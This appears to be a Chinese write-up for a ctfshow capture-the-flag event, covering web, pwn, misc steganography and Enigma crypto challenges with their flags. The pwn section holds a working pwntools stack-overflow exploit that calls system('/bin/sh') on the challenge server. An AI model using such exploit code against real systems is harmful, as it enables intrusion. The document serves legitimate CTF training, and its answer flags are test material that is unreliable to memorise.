Web:
shellme
题目问题,没什么说的,进去直接搜ctfshow就是flag
热身
签到题,做过web入门的都应该知道怎么绕,分开来看
比如第一个部分可以用小数绕过,第二部分没有字母,可以用8进制绕过。
所以目前得到的payload是
num=010574
但是第三部分还要看0是不是出现在首位,这里就可以用+号,来凑个数
最终payload
num=+010574
PWN
wuqian
只会最简单的,别骂了
就一个栈溢出,找到rdi、system、/bin/sh的地址就行了
from pwn import *
p = remote("pwn.challenge.ctf.show","28125")
#p = process("./pwn")
binsh = 0x601040
system_addr = 0x400490
rdi_addr = 0x400663
p.recv()
payload = 'a'*(0x10+8) + p64(rdi_addr) + p64(binsh) + p64(system_addr)
p.sendline(payload)
p.interactive()
MISC
Misc游戏签到
玩就行了,出bug我也不清楚
ctfshow{White_give_game_only_waste_your_timehahaha}
She Never Owns a Window
看起来很像SNOW,但事实却证明不能用SNOW.EXE解出来。
去请教了一下,就给我说了三句话
1.不是SNOW
2.不需要转换字符
3.有轮子
虽然说了这些,但是我不理解。
只知道是空白的字符,winhex能看出来只含有空格,制表符,换行符
然后就去八神👴👴的WP库里去搜了一下
https://github.com/davidcheyenneone/CTF
发现在攻防世界高手区11(85-90)中的第90题中有讲到空白字符
得到信息Whitespace
去谷歌+github搜,找到了此网址https://vii5ard.github.io/whitespace/
但是直接运行的话,flag只能出现一半,为了搞清楚后半部分,就搜了wiki
https://zh.wikipedia.org/wiki/Whitespace
------------
改:这个网站自带可以看栈内的值,不需要去计算了
------------
上图的右边,就是我们要理解的地方了
push:入栈
printc:print chr()
dup:复制堆栈最上方元素
drop:出栈但不输出
add:堆栈最上方的两个元素做加法运算
随便举一段例子
所以只需要将这些得到的数字chr一下,就可以得到flag了
Dinner of Cyanogen
一直都忘了还有明文…我的我的
第一段flag在letter里面
然后就是另一个,另一个是加了密的,但是7z发现两个的CRC是相同的,说明是同一个文件
所以将没有加密的这个文件解压出来,然后用7z加密,选择zip,压缩等级store,加密算法ZipCrypto
然后明文,爆破个2分钟就可以停止了,然后自动保存出解密成功的
解压出来发现,在word/flag.xml里面有中间一部分的flag
这就是第二段flag
将刚刚解密的文档后缀从zip改成docx
发现长度是104,算了一下正好差13个字符,而13*8=104
全选的时候发现,字体消失了
这说明这一段的字体不相同,举例如下
有wingdings和wingdings2之分,正好也印证了之前说的2进制,把其撸下来转一下即可得到第三部分。
嗯 因为是动态的靶机,不知道会不会出现的东西不同,但是思路就是这样,小编也很疑惑.jpg
Music Game
首先提取题目关键信息,音游爱好者、谱子、藏在里面的flag
首先用DiskGenius加载
磁盘—打开虚拟磁盘文件—加载,然后点击恢复文件。
映入眼帘的是?lag.txt和其他txt
?lag.txt只有9B,flag肯定不在里面
查看其他两个txt,也什么都没发现,所以现在应该是找谱子
自制谱没搞懂是啥,然后在精选里面发现一个mcz拓展名的文件
没法子,然后就去用winhex导出了
导出后发现是PK头,尝试改成zip解压
发现里面有一个not_flag.txt,当然确实不是flag。
解压出来没有想法,去百度搜“音游 mcz后缀”
去下载一个windows的malody,点开后可以看到编辑
一看就看到了ctf,撸下来即可,注意全小写
ctfshow{bgm_is_nice}
一起看小说吗?
看过这个UP的视频(/汗),就很容易出了
UP主:偶尔有点小迷糊
视频链接https://www.bilibili.com/video/BV1Ai4y1V7rg
原理:见UP视频
下方评论区,UP给了链接
使用他的脚本就行了
解出来一个txt
一打开就看到第9行写的“一位衣着华丽的仆人开门将c引入”
猜测将flag藏在了文章里,用正则把他匹配出来
然后撸下来即可,数字部分的话,自己判断一下就知道了
ctfshow{jiujichongsh1_s0e3sy}
xl的本质
首先解压出来是一个xl文件夹,而且在里面看到了sheet,结合题目名字,这是个xlsx
然后用WPS生成一个空的xlsx,保存。将这个保存的改成zip后缀,查看里面的文件
可以看到这里面就有一个xl,刚开始我还以为rar那个就是xlsx
值得注意的是,我们rar解压出来的worksheets里面,没有sheet1,所以这里直接复制一个,然后将那个空的xlsx里的xl文件夹删了,加入我们这个,打开
其中sheet4里面base64解出来是叫咱看一个链接
http://officeopenxml.com/drwSp-custGeom.php
是关于DrawingML Shapes,嗯应该是画图
然后在看看sheet文件,发现sheet4比其他都多了一句
<drawing r:id=“rId1”/>
然后就决定在每一个sheet里面都加上这句,重新导入,最后在sheet1里发现flag
ctfshow{IloveWLL}
我爱你中国.mp3
mp3stego无果,之前在一个CTF B站学习交流群里,有人问过几乎一样的题
然后发现De1CTF出过,WP地址http://www.ga1axy.top/index.php/archives/29/
这里考的是MP3的private位隐写,具体可以看这篇博客
然后就写脚本就可以了,因为脚本转换出现1的地方基本在中间,直接转成字符转不出来,这里就想着画图,因为提取出来长度是10114,只有两种宽高的可能,很好画
f = open('题目-我爱你中国.mp3','rb').read()
flag = ''
i = 0
while i < len(f):
i += 1
if (f[i:i + 2] == b'\xFF\xFB' and f[i + 2] > 143):
tmp = bin(int(f[i+2]))[2:].zfill(8)
i += 0x1a0
if(str(tmp[7]) == '1'):
flag += '1'
else:
flag += '0'
# print(flag)
# str1 = ''
# for i in range(0, len(flag), 8):
# tmp = flag[i:i + 8]
# str1 += chr(int(tmp, 2))
# print(str1)
from PIL import Image
w,h = 389,26
img = Image.new("RGB",(w,h),(255,255,255))
for i in range(h):
for j in range(w):
if(flag[i*w+j] == '0'):
img.putpixel((j,i),(255,255,255))
else:
img.putpixel((j,i),(0,0,0))
img.show()
看这图片的样子我感觉最预期的解肯定不是这样,但是方向肯定是这样的
ctfshow{清澈的爱只为中国}
吃瓜
正儿八经师傅每次的题都迎合题目要求(指很简单),爱了
解压出来新建文件夹.jpg是PK头,所以后缀改成zip解压,txt是base64转成图片就行了
扫出来是cfhwc19abika_etso{h_u_e_ui1}
栅栏2
ctfshow{ch1_9ua_bei_kuai_1e}
EzBingo
还是硬玩就行了
ctfshow{yOu_w1N_tHE_BING0_G4me!}
一群强盗
一共是72张图片+img.png,CRC只有4种,猜测4进制,去进制转一个c发现c的四进制是1203,写个脚本就出了,然后这里因为img.zip有个文件夹,所以我是将他解压出来之后,再去选中72张图片重新压缩的。
import zipfile
zipFile = zipfile.ZipFile('img.zip','r')
ziplist = ['']*72
for i in range(72):
ziplist[i] = str(i)+'.png'
flaghex = ''
flag = ''
for i in range(len(ziplist)):
zipfileinfo = zipFile.getinfo(ziplist[i])
flagpj = str(hex(zipfileinfo.CRC)[2:])
# 因为flag格式为ctfshow,所以直接找c的四进制
# print(ord('c')) 99 --> 1203
if(flagpj == '7d349b41'):
flag+='1'
elif(flagpj == 'aa7b25f1'):
flag += '2'
elif(flagpj == 'd929ce96'):
flag += '0'
elif(flagpj == 'faac73ff'):
flag += '3'
else:
print('error!')
print(flag)
#print(len(flag))
str1 = ''
for i in range(0, len(flag), 4):
tmp = flag[i:i + 4]
str1 += chr(int(tmp, 4))
print(str1)
结合题目要求,得到
ctfshow{56_robber}
魔王
w3x一搜发现是魔兽争霸的地图
去下载一个魔兽争霸,然后打开里面自带的World Editor.exe,加载地图
既然地图上没有flag,那么就很可能在字符串中
ctfshow{ctfshow_chi_gua_bei_flag}
Crypto:
大鸟转转转
提示说用pycipher,发现装了(嗯挺好
然后用winhex打开,标记一下q
毕竟不知道啥密码,就去搜“密码 + 选中的内容”
结合pyciphey,搜到了用法https://pycipher.readthedocs.io/en/master/#enigma-m3-cipher
差不多就是这个样子,现在只需要改改就行了
根据winhex看到的,就将其改成对应的样子
可以注意到winhex里面,有2处问号,一处对应的是ringstellung,一处对应的是解密出来的明文
所以ringstellung需要进行爆破
脚本如下
from pycipher import Enigma
ciphertext = 'MXKXBTIOOZHFTGGTTPTRNXJUGASUTVBNSNGS'
TEXT = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
for i in TEXT:
for j in TEXT:
for k in TEXT:
plaintext = Enigma(settings=('W','Y','F'),rotors=(1,2,3),reflector='B',ringstellung=(i,j,k),
steckers=[('W','O'),('D','E'),('J','B'),('H','N'),('X','I')]).decipher(ciphertext)
if('CTFSHOW' in plaintext):
print(plaintext)
得到的包上{}转小写即可
ctfshow{shameoncanadianelectricskrman}